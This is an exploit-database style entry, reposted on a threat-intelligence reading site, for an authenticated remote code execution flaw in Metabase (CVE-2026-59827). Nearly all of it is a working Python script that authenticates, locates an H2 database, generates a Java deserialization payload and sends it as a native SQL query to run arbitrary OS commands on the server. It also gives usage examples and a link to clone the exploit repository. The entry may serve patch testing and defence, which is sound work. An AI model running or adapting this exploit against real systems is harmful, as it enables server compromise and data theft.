threat_intelligence602 wordsRead on Arc Codex

[webapps] Metabase 0.61.0

# Exploit Title: Metabase 0.61.0 - Authenticated Remote Code Execution # Date: 2026-08-12 # Exploit Author: Gutierre0x80 # Vendor Homepage: https://www.metabase.com/ # Software Link: https://github.com/metabase/metabase # Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4 # CVE: CVE-2026-59827 # # Advisory: # https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36 # # Description: # Metabase instances with an H2 database connection, including the default # sample database, deserialize arbitrary Java objects returned by native H2 # queries in result columns of type OTHER without validation. An authenticated # user with permission to execute native queries against an accessible H2 # database can exploit this behavior to execute arbitrary operating-system # commands on the Metabase server. # # Requirements: # - Valid Metabase credentials # - Permission to execute native database queries # - Access to an H2 database connection, including the default sample database # # Download: # git clone https://github.com/Gutierre0x80/CVE-2026-59827.git # cd CVE-2026-59827 # # Usage: # python3 exploit.py # # Example: # python3 exploit.py http://127.0.0.1:3000 admin@example.com 'Password123!' 'id' # # Repository: # https://github.com/Gutierre0x80/CVE-2026-59827 #!/usr/bin/env python3 """ Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL Affects: <= v0.61.1 (latest at time of disclosure) Usage: python3 exploit.py Example: python3 exploit.py http://127.0.0.1:3000 admin@admin.com Admin1234! "id" Required files (same directory as this script): clojure-1.12.3.jar VarChainPayload.class """ import os import sys import subprocess import requests HERE = os.path.dirname(os.path.realpath(__file__)) CLJ_JAR = os.path.join(HERE, "clojure-1.12.3.jar") CLASSPATH = f":{CLJ_JAR}:{HERE}" def die(msg): print(f"[-] {msg}", file=sys.stderr) sys.exit(1) def check_deps(): missing = [] # Check local files for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]: if not os.path.isfile(p): missing.append(os.path.basename(p)) if missing: die(f"Missing files in {HERE}: {missing}") # Check system binaries try: subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True) except (FileNotFoundError, subprocess.CalledProcessError): die("Java not found or not working. Install OpenJDK 11+ and add to PATH") try: import requests except ImportError: die("Python 'requests' library not found. Install with: pip install requests") def get_token(session, url, user, password): r = session.post(f"{url}/api/session", json={"username": user, "password": password}, timeout=15) r.raise_for_status() token = r.json().get("id") if not token: die(f"Authentication failed: {r.text[:200]}") return token def get_h2_db_id(session, url, token): r = session.get(f"{url}/api/database", headers={"X-Metabase-Session": token}, timeout=15) r.raise_for_status() data = r.json() dbs = data.get("data", data) if isinstance(data, dict) else data for db in dbs: if db.get("engine") == "h2": return db["id"], db["name"] die("No H2 database found in this Metabase instance.") def generate_payload(command): result = subprocess.run( ["java", "--add-opens", "java.base/java.util=ALL-UNNAMED", "-cp", CLASSPATH, "VarChainPayload", command], capture_output=True, text=True, timeout=30 ) payload = result.stdout.strip() if not payload: die(f"Payload generation failed:\n{result.stderr}") return payload def fire(session, url, token, db_id, payload_hex): sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)" r = session.post( f"{url}/api/dataset", headers={"X-Metabase-Session": token}, json={"database": db_id, "native": {"query": sql}, "type": "native"}, timeout=30 ) return r.json() def main(): if len(sys.argv) != 5: print(__doc__) sys.exit(1) _, url, user, password, command = sys.argv url = url.rstrip("/") check_deps() s = requests.Session() s.headers.update({"Content-Type": "application/json"}) print(f"[*] Target : {url}") print(f"[*] User : {user}") print(f"[*] Command : {command}") print() print("[*] Authenticating...") token = get_token(s, url, user, password) print(f"[+] Session : {token}") print("[*] Locating H2 database...") db_id, db_name = get_h2_db_id(s, url, token) print(f"[+] Database : {db_name} (id={db_id})") print("[*] Generating payload...") payload = generate_payload(command) print(f"[+] Payload : {len(payload) // 2} bytes") print("[*] Firing exploit...") result = fire(s, url, token, db_id, payload) error = str(result) ran_indicators = [ "ClassCastException", # normal: Process cast to Number "ProcessImpl", # process object leaked in error "NonTransientConnection", # H2 lock after exec triggered reconnect "JdbcSQLData", # deserialization error after exec ] if any(ind in error for ind in ran_indicators): print("[+] RCE executed — H2 error after deserialization confirms command ran") else: print(f"[?] Unexpected response (command may not have run): {error[:300]}") print() print("[*] Done. If the command writes output to a file, retrieve it separately.") if __name__ == "__main__": main()

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached — you'll always get the same 5 for this article.